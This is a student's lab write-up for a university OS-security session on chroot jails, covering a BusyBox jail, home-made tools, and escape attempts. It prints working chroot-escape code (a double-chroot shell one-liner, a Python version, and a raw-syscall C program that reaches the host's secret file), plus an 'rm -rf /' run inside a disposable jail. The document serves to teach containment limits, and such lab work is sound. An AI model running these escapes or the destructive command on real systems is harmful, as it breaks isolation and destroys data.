Session 5: OS and Application Security

Class page | Class recording

Assignments

• Part 1 - chroot Demo Setup
  • Step 1: Create the Host Secret Flag & Set Up a Shell
  • Step 2: Activate the Jail!
  • Step 3: Test the Containment
• Part 2: Deliverables & Submission Requirements
• Part 3: Deep-Dive Discussion — The Privilege Escape Paradox

Class

The session started with a review of the previous week's assignments. Students demonstrated their work on cache side-channel attacks and discussed different approaches, including timing attacks and practical implementations. There was also an overview of the final project requirements and the remaining course schedule.

The main lecture was given by Mike Specter, Professor at Georgia Tech and Senior Research Scientist at Google. He introduced operating system security, explaining how modern operating systems isolate processes and enforce security boundaries. The lecture covered common software vulnerabilities, memory-safe programming, fuzzing, privilege separation, capabilities, sandboxing, and containment mechanisms such as chroot. He also discussed how these techniques are used to reduce the impact of vulnerabilities and build more secure systems.

After the lecture, the assignments for the session were introduced, including experimenting with BusyBox and chroot to build a minimal jail and explore its limitations as a containment mechanism.

Part 1 - chroot Demo Setup

In this part we set up the jail and later we will try to access a secret file and eventually escape from the jail. As I understand it, we will create a chroot_jail directory and use that as the jail. If we only created the directory, we would end up in an empty cell without even having a shell.

To give ourselves some basic survival tools, we copy in BusyBox. BusyBox is a single executable that contains many small Unix utilities, including the ash shell. It is statically linked, so it does not depend on external libraries.

These are some of the tools BusyBox provides:

I was glad to see vi on the list at least I'll have something to do if I can't escape.

Step 1: Create the Host Secret Flag & Set Up a Shell

I made a space for the jail in ~/dev/s5 and the next step was to make a secret file in root with:

sudo echo "FLAG{CHROOT_IS_NOT_A_SECURE_SANDBOX_1206}"  > /host_secret.txt
-bash: /host_secret.txt: Permission denied

I got an error but it was easy to fix by removing the sudo command.

Next task was to get BusyBox-static, make the jail cell and put BusyBox inside it before locking it up.

sudo apt update && sudo apt install -y busybox-static
mkdir -p ~/dev/s5/chroot_jail/bin
cp /bin/busybox-static ~/dev/s5/chroot_jail/bin/sh

The last line did bot work but ls showded busybox in /bin I also relized /bin is a symbolic link so I copied the binary from its actual location instead.

cp /usr/bin/busybox ~/dev/s5/chroot_jail/bin/sh

Before moving on and locking up the jail cell I checked with ls to make sure everything was in place.

Step 2: Activate the Jail!

Now it was time to willingly step into the jail and lock myself up.

sudo chroot ~/dev/s5/chroot_jail /bin/sh

I ran the command and that was it. The freedom of my bash days was gone, my familiar dollar sign had turned into an empty hash (#), and the worst discovery came when I started looking around. There wasn't even vi. Desperate, I even checked if nano had somehow made it into the cell, but nothing. All I had now was one /bin directory and a single sh executable.

Step 3: Test the Containment

I began exploring what commands worked and didn't work. I realized this was just being treated as a root directory. mkdir worked so I made a /home directory with one user. cat didn't work but touch did so I could make a file and echo text into it. I just had no way to read the notes. I tried echo "$(<day1.txt)" but was not sure if it worked or if the notes were actually written in the file. When I checked with ls -l I could see the file was 0 bytes, so it didn't work. I wasn't sure why, since it looked like I had write permission.

total 4
-rw-r--r--    1 0        0               85 Jul  6 17:40 day1.txt

It was interesting when I did echo $SHELL I expected to get bin/sh but it showed bin/bash. Then I thoguht who am I even. I had made home/inmate_hanndoddi_0xdec0de to feel like I had some identity but usually the info exist in /etc/hostname. I tried hostname and my VM user showed up.

Both the shell command and hostname command had showed me things that weren't in the cell. I tough, I could recreate the cell root but I needed a way to write and a text editor like vi would make it easier. I then tough can I somehow use a symlink? I checked if I had it.

/home/inmate_hanndoddi_0xdec0de # ln --version
ln: unrecognized option '--version'
BusyBox v1.36.1 (Ubuntu 1:1.36.1-6ubuntu3.1) multi-call binary.

Usage: ln [-sfnbtv] [-S SUF] TARGET... LINK|DIR

Create a link LINK or DIR/TARGET to the specified TARGET(s)

    -s  Make symlinks instead of hardlinks
    ...

I found it interesting when I ran ln it looked like it called it from BusyBox and I wondered if I could run busybox --help and if I could get a list of the tools available but it didn't work. man didn't work but --help worked for the commands I had. Then I simply ran help and it printed a list of all the built in commands. I looked at the list and highlighted commands that could be of use.

Looking at the list I realized I had the hexdump I tried hexdump --help and it worked. I could now take a closer look at the day1.txt file I had made earlier. I used -C to get an ascii table on the side.

hexdump -C  day1.txt 

There were my notes. It had written into the file after all and I now had a very primitive way to read and write files.

The activities in this cell were slowly adding up. So far I only had two files to keep me busy, and the hexdump discovery shifted my focus to /bin/sh. Could I mesh with that file to get more options or make some files in the/bin directory. I tried hexdump on sh but is was mostly unreadable for a human with some lines with MALLOC and glibc but I think it's safe to assume it's not a good idea to mess with that binary now.

I then just tried running sh and the BusyBox information showed up. I tried sh -h first, but it returned illegal option, so I followed up with sh --help.

/bin # sh
BusyBox v1.36.1 (Ubuntu 1:1.36.1-6ubuntu3.1) built-in shell (ash)
Enter 'help' for a list of built-in commands.
/bin # sh -h
sh: illegal option -h
/bin # sh --help
BusyBox v1.36.1 (Ubuntu 1:1.36.1-6ubuntu3.1) multi-call binary.

Usage: sh [-il] [-|+Cabefmnuvx] [-|+o OPT]... [-c 'SCRIPT' [ARG0 ARGS] | FILE ARGS | -s ARGS]

Unix shell interpreter

I wasn't sure how to use the sh options seams like this could be useful.

Mapping the Containment

To get a overview I mapped out what was and wasn't working:

When I tried echo $PATH I saw some directories that were out site the chroot jail.

/bin # echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

CATDOG - Contraband

In bash you have built-in commands, keywords, and then you have programs like ls that the shell runs. I realized that I could use echo * to imitate the ls program. That got me thinking. Maybe I can make programs with the bare minimum of built-in commands and keywords.

Then this was smuggled into my cell:

#!/bin/bash
# Check if a filename was provided
if [ -z "$1" ]; then
    echo "Usage: $0 <filename>"
    exit 1
fi

FILE=$1
# Verify that the file exists
if [ -f "$FILE" ]; then
    echo "--- Displaying content of $FILE ---"
    cat -n "$FILE"   # The -n flag adds line numbers
else
    echo "Error: File '$FILE' does not exist."
    exit 1
fi

This was a normal cat script, but it still depended on the real cat program. I needed a version that could work with only the tools I already had. Since ash is very similar to bash, I tried running:

while IFS= read -r line; do echo "$line"; done < /home/inmate_hanndoddi_0xdec0de/day1.txt

It worked, and I could print out my notes.

Next I tried to echo the bash script into a file in /bin and chmod it so it could execute, but it did not work. Using printf seemed like a better approach. I talked to Andri, a fellow inmate who knows printf better than I do, and after a bit of trial and error we tried this:

printf '%s\n' '#!/bin/sh' 'echo "voff"' > /bin/dog
chmod a+x /bin/dog

It worked. We had a new command called dog and all it did was print voff. Not very useful, but fun and it proved that the idea worked.

I combined everything we had learned and ended up with this:

printf '%s\n' '#!/bin/sh' 'if [ -z "$1" ]; then echo "Usage: $0 <filename>"; exit 1; fi' 'if [ -f "$1" ]; then echo "--- Displaying $1 ---"; while IFS= read -r line; do echo "$line"; done < "$1"; else echo "Error: File does not exist."; exit 1; fi' > /bin/cat

chmod a+x /bin/cat

It worked too, I had managed to make my own cat command

Talking to my fellow inmate, I realized we were never supposed to stay in here this long. The point of the exercise was simply to see that, with such limited tools, we could not escape the jail or read the secret file in the true root filesystem.

So I typed: exit to leave the cell.

Or so I thought....

Turned out that, during all these commands and experiments, I had been opening shells within shells. I got out after repeating exit a couple of times.

Part 2 - Deliverables & Lab Report

I was starting to really understand the flow between the terminal, user space, the kernel, and the hardware. I had read about these concepts before and seen diagrams explaining them, but this was a really good practical exercise to experiment with them myself.

I learned at this point that chroot stand for Change root

The user space and kernel space relationship is also a bit strange because it is easy to get fooled by the folder structure you see on the screen and think it somehow exists "above" the kernel as part of user space. In reality, the filesystem is simply data that the kernel manages and exposes to processes through the Virtual File System (VFS).

I found many good diagrams explaining the Linux filesystem and the user space/kernel boundary. I simplified several of the ideas I found and combined them into my own diagram, adding an illustration of how a chroot jail works and how the kernel changes pathname resolution for a chrooted process.

Looking back at this, it is now obvious why cat, vi, and tools like python3 and gcc did not work. Since the kernel resolves paths relative to the process's new root, only executables that exist inside the chroot can be found. At first I thought some of these tools might be compiled into BusyBox, but that is something I would like to explore further.

Part 3

Now it was time to make a new cell with more tool on the assingment page it was sugjested to try to move the /lib and /bin directories in the chroot jail. To set up the cell I ran this.

mkdir -p ~/dev/s5/chroot_jail_cell3
cp -a /usr/bin ~/dev/s5/chroot_jail_cell3/bin
cp -a /usr/lib ~/dev/s5/chroot_jail_cell3/lib
cp -a /usr/lib64 ~/dev/s5/chroot_jail_cell3/lib64
cp /usr/bin/busybox ~/dev/s5/chroot_jail_cell3/bin/sh

Then I enterd cell3:

sudo chroot ~/dev/s5/chroot_jail_cell3/ /bin/sh

I tool a look around and surely I had the /lib and /bin directories there now and because cat was in the /bin directory I now had the real cat command. I made one note with touch and echo I could read that with cat. Obviously there was no secret file in the root.

Mount escape - Failed

Andri had found some steps to make a mount escape and showed me this:

mkdir -p /tmp/host_drive
mount /dev/sda1 /tmp/host_drive
chroot /tmp/host_drive /bin/bash

After that I should be able to cd into tmp/host and do ls to see the true root files.

Well in short that did't work and as soon as I tried mount I hit a wall.

Double-Chroot Escape

Since the mount method did't work I just desided to do the double chroot methode it's well kow and should be easier. I found these slides by Balázs Bucsay and there I found the classic way it needed root and I had that.

The methode was just this:

mkdir breakout
chroot breakout /bin/sh -c "cd ../../../../../../ && chroot . /bin/sh"

I tried running it in the terminal but that did't work.

Using Python3 - Failed

Since I now had python3 I leaned I could use that to run:

python3 -c 'import os; os.mkdir("d"); os.chroot("d"); os.chdir("../../../../../../"); os.chroot("."); os.system("/bin/sh")'

But I got another error:

Could not find platform independent libraries <prefix>
Could not find platform dependent libraries <exec_prefix>
Python path configuration:
  PYTHONHOME = (not set)
  PYTHONPATH = (not set)
  program name = 'python3'

The python code was simple I tought I could mabey just run it line by line:

import os
# 1. Create a temporary folder
os.mkdir("breakout") 
# 2. Jail yourself deeper (without changing your current working directory)
os.chroot("breakout") 
# 3. Walk backwards up out of the old chroot constraints
for i in range(100): 
    os.chdir("..")
# 4. Lock your root directory onto the real host filesystem
os.chroot(".") 
# 5. Spawn a shell out on the host filesystem
os.system("/bin/bash") 

But no python just was not working.

Using C - Worked but I don't know why

I had gcc and that looked to be working fine, so I figured I could just write a C program and compile it. Problem solved... or so I thought. Well, neither vi or nano would open. That's no problem, I had just learned from Andri that cat can also be used to create files with cat << EOF.

cat << 'EOF' > breakout.c
 #include <sys/stat.h>
 #include <unistd.h>

 int main() {
     mkdir("d", 0755);
     chroot("d");
     chdir("../../../../../../../");
     chroot(".");
     system("/bin/sh");
     return 0;
 }
EOF

Then I just needed to compile it:

gcc breakout.c -o breakout
breakout.c:1:10: fatal error: sys/stat.h: No such file or directory
    1 | #include <sys/stat.h>
      |          ^~~~~~~~~~~~
compilation terminated.

I didn't have the header files available, so the compiler could not find sys/stat.h. After looking into that, I realized I could simply skip the headers and manually declare the functions I wanted to use.

 int mkdir(const char *pathname, unsigned int mode);
 int chroot(const char *path);
 int chdir(const char *path);
 int system(const char *command);

 int main() {
     mkdir("d", 0755);
     chroot("d");
     chdir("../../../../../../../");
     chroot(".");
     system("/bin/sh");
     return 0;
 }

So I was making some progress and now had a pure C program with no headers. Time to compile:

gcc breakout_pure.c -o breakout_pure
/bin/ld: cannot find /usr/lib/x86_64-linux-gnu/libc_nonshared.a: No such file or directory
collect2: error: ld returned 1 exit status

Now it couldn't find libc_nonshared.a.

I was not sure what to do at this point. gcc itself seemed to work fine, but all the extra files it depended on were missing, so it could not compile a working binary. I remembered that many years ago I had compiled a small assembly program with gcc, and I started wondering if I could do something similar by looking at files like libc_nonshared.a, sys/stat.h, and unistd.h and extracting only the pieces needed to make a pure direct C program that talked directly to the kernel.

This quickly spiraled into many, many browser tabs, and I completely lost track of what I was doing. To make things even more chaotic, the VM stopped responding and I had to restart both it and my laptop before continuing.

After getting everything working again, I stepped back and tried to simplify the problem. I realized I did not need the C standard library. What I needed was a way to define the Linux system calls, place the correct values into the CPU registers, and execute the syscall instruction directly.

I found a searchable Linux syscall table that made this much easier. It listed the syscall numbers used by x86_64 Linux, allowing me to identify the values that belong in the rax register. From there I defined the syscall numbers I needed and wrote two small wrapper functions, syscall1 and syscall3, to invoke system calls with one and three arguments. Writing those wrapper functions turned out to be hard. On my local machine I compiled small test programs into assembly so I could see exactly what gcc generated.

gcc -S -masm=intel -fverbose-asm breakout.c -o breakout.s

I also experimented with Compiler Explorer (https://godbolt.org/), but the examples were either too simple or far more complicated than what I was trying to do. I was now Googling "writing kernel wrapper functions" how did we even get here?

I found a few examples, but most of them still relied on header files, so now I was Googling "writing kernel wrapper functions without headers."

After a lot of trial and error, I finally managed to make a version that compiled. That was progress, but would it even work?

#define SYS_mkdir  83
#define SYS_chroot 161
#define SYS_chdir  80
#define SYS_execve 59

long syscall3(long num, const char *arg1, long arg2) {
    long ret;
    __asm__ volatile (
        "syscall"
        : "=a" (ret)
        : "0" (num), "D" (arg1), "S" (arg2)
        : "rcx", "r11", "memory"
    );
    return ret;
}

long syscall1(long num, const char *arg1) {
    long ret;
    __asm__ volatile (
        "syscall"
        : "=a" (ret)
        : "0" (num), "D" (arg1)
        : "rcx", "r11", "memory"
    );
    return ret;
}

void _start() {  
    syscall3(SYS_mkdir, "d", 0755);
    syscall1(SYS_chroot, "d");
    syscall1(SYS_chdir, "../../../../../../../");
    syscall1(SYS_chroot, ".");
    char *args[] = {"/bin/sh", 0};
    char *env[] = {0};
    __asm__ volatile (
        "syscall"
        :
        : "a" (SYS_execve), "D" ("/bin/sh"), "S" (args), "d" (env)
        : "rcx", "r11", "memory"
    );  
    __asm__ volatile ("mov $60, %rax; xor %rdi, %rdi; syscall");
}

To compile it I used:

gcc -nostdlib breakout_direct.c -o breakout_direct

After it compiled without any errors, I didn't even bother checking it. I just ran ./breakout_direct, expecting another error message.

Instead, something strange happened. The # hashtag prompt, which I had become quite fond of by this point, simply moved to the next line. There was no forward slah / after it.

I tried ls /, not expecting much, but all the real root directories were there, along with host_secret.txt.

I ran cat host_secret.txt and it was mine.

The next obvious thing to do was open vi and modify the secret.

Experiments and Extra

Jail size

I was about to make more jails when I suddenly got the error:

: No space left on device

It looked like I had filled the entire 20 GB class VM.

To investigate I checked the disk usage of my jails:

du -h --max-depth=1 <dir> | sort -hr

I was surprised to discover that my largest jail occupied around 7.5 GB of disk space, while my original minimal jail was only about 4 MB.

11G s5
7.5G    s5/chroot_jail_cell3
2.6G    s5/chroot_jail_cell5
4.2M    s5/chroot_jail
8.0K    s5/thenothing_jail
4.0K    s5/chroot_jail_rm

This made sense in hindsight. Once I started copying large parts of /bin, /usr, /lib, and other directories to make more programs available inside the jail, the size increased dramatically more than I expected.

The nothing Jail

Out of curiosity I tried creating a chroot jail that contained absolutely nothing.

It failed immediately.

A chroot only changes the process' root directory. It still needs an executable to run, and that executable must also be able to load all of its required shared libraries. With an empty directory there was simply nothing for the kernel to execute.

The rm -rf / Jail

Warning: this is normally a destructive command that attempts to recursively remove the entire filesystem.

I also made a separate jail to see what would happen if I ran the famous:

rm -rf /

Since I was running inside a disposable VM and inside a chroot jail, I wanted to see what would actually happen.

After running the command, everything inside the jail disappeared. It was less dramatic than I expected because the command only removed files that were reachable from the jail's root directory. The host system was unaffected, and I was still able to use commands that were already loaded into memory or that still existed outside the deleted part of the filesystem.